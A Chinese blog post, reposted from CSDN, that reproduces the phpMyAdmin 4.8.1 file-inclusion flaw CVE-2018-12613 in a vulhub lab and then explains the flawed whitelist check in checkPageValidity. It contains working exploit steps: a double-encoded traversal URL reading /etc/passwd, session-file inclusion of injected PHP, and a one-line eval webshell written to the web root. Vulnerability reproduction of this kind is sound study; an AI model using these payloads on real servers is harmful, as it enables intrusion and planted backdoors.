phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)复现

CVE-2018-12613

简介:

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。

搭建环境:

使用docker+vulhub的环境。

复现过程:

访问:

index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/…/etc/passwd

可以查看到文件信息:
在这里插入图片描述

说明存在文件包含。

在sql中执行SELECT '<?=phpinfo()?>';
在这里插入图片描述

访问/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_cookie值:
在这里插入图片描述

获得phpinfo信息:
在这里插入图片描述

插入一句话木马:

select “<?php file_put_contents('/var/www/html/1.php','<?php @eval($_POST[pass]);?>’)?>”

访问session页面:

访问根目录下的1.php,使用蚁剑连接:
在这里插入图片描述

漏洞分析

先看index.php:

$target_blacklist = array (
    'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])  //传入不能为空
    && is_string($_REQUEST['target'])  //必须是一个字符串
    && ! preg_match('/^index/', $_REQUEST['target'])  //不能以index开头
    //黑名单判断。在index.php中已经定义好了target_blacklist的值,只要不等于import.php和export.php这两个值就可以。
    && ! in_array($_REQUEST['target'], $target_blacklist)  //不能在数组target_blacklist中
    && Core::checkPageValidity($_REQUEST['target'])  //checkPageValidit检查后为真
) {
    
    
    include $_REQUEST['target']; // 文件包含利用点
    exit;
}

checkPageValidity()方法:

//传入target,whitelist为默认形参,也就是空的数组。
public static function checkPageValidity(&$page, array $whitelist = [])
    {
    
    	
        if (empty($whitelist)) {
    
    
            // 白名单
            //$whitelist在函数被调用的时候,没有值引用$goto_whitelist的内容
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
    
    
            //$page没有定义或$page不为字符串时 返回false
            return false;
        }

        if (in_array($page, $whitelist)) {
    
     // in_array():搜索数组中是否存在指定的值
            //$page存在$whitelist中的value返回true
            return true;
        }
        $_page = mb_substr( //mb_substr():返回字符串的一部分
            $page,
            0,
            mb_strpos($page . '?', '?')
            //返回从开始到问号之间的字符串
        );
        if (in_array($_page, $whitelist)) {
    
    
            //$_page存在$whitelist中的value返回true
            return true;
        }	
        $_page = urldecode($page);//urldecode():解码已编码的URL
    //经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true
        $_page = mb_substr(//返回从开始到问号之间的字符串
            $_page,
            0,
            mb_strpos($_page . '?', '?')
            //mb_strpos():查找在字符串中第一次出现的位置(大小写敏感)
        );
        if (in_array($_page, $whitelist)) {
    
    
            return true;
        }

        return false;
    }

goto_whitelist:

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
);

在checkPageValidity()方法中,先判断page是否在白名单中,在的话返回true;mb_substr()函数会返回$page从开始到两个问好之间的值(因为page可能带有参数):

 $_page = mb_substr( //mb_substr():返回字符串的一部分
            $page,
            0,
            mb_strpos($page . '?', '?')
            //返回从开始到问号之间的字符串
        );

先返回两个?之间的值,再返回这个之前的值。

然后再进行一次白名单判断,再url解码进行一次截取返回,再进行一次白名单判断。

?target=db_datadict.php%253f 在服务器收到url时进行一次解码,变成?target=db_datadict.php%3f ;再通过urldecode时,在进行一次url解码,变成?target=db_datadict.php?,符合?之前的在白名单中。

猜你喜欢

转载自blog.csdn.net/qq_45742511/article/details/115080803